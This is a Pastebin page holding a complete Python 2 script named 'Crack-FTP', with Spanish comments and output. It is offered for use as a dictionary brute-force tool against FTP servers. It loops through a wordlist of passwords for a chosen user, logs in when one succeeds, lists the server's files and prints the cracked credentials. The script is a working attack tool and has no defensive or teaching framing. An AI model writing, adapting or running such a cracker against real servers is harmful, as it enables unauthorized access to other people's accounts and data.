Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Name program = Crack-FTP
- #Autor = Doddy
- #Website = doddyhacking.wordpress.com & doddyhacking.blogspot.com
- import threading, time, random, sys, ftplib
- from ftplib import FTP
- from copy import copy
- if len(sys.argv) !=4:
- print "\nCrack-FTP By Doddy\n\n"
- print "Modo de uso = ./ <server ftp> <user> <wordlist>\n"
- sys.exit(1)
- host = sys.argv[1]
- user = sys.argv[2]
- wordlist = sys.argv[3]
- print "\n[!] Iniciando Crack-FTP..............\n"
- print "\n\n[Target] = ",host
- print "[User] = ",user
- infile=open(wordlist,'r')
- contenido = infile.read()
- list = contenido.split()
- print "[Wordlist] El diccionario contiene:",len(list),"palabras\n"
- print "\n[+] Intentando entrar en el server"
- try:
- f = FTP(host)
- print "\n[+] Respuesta:",f.getwelcome()
- except (ftplib.all_errors):
- pass
- print "\n\n"
- for password in list:
- try:
- print "PROBANDO CON USER:",user,"PASSWORD:",password
- ftp = FTP(host)
- ftp.login(user,password)
- print "\n\n"
- ftp.retrlines('LIST')
- print "\n\n\a\a[+] Host: ",host
- print "[+] Usuario Hacked :",user
- print "[+] Password Cracked:", password
- print "\n\n\n\n\t\t\tWritten By Doddy || 2010\t\t\t\n\n"
- sys.exit(1)
- except (ftplib.all_errors), msg:
- pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement